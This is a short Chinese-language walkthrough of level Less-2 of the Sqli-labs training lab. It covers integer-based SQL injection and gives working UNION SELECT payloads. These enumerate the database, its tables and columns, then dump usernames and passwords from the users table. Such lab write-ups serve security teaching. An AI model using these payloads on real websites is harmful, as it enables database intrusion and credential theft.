Sqli-labs Less-2 Union注入

打开页面后,与Less-1一样,提示“请输入参数id,并为它赋一个数字值”。

1、寻找注入点

输入?id=1 正常;输入?id=1' 报错,说明存在sql注入漏洞。

查看后台源码发现如下查询语句,说明存在整型注入漏洞。与Less-1 单引号字符型注入 区别在于,构建payload时去掉'单引号。

SELECT * FROM users WHERE id=$id LIMIT 0,1

2、查询该数据表中的字段数量

输入?id=1 order by 3 --+ 正常;

输入?id=1 order by 4 --+ 报错,说明该数据表中字段数为3。

3、爆数据库

?id=-1 union select 1,2,database() --+

4、爆数据表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

5、爆数据列(字段)

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

6、爆数据值

?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+

原文地址:https://www.cnblogs.com/zhengna/p/12444998.html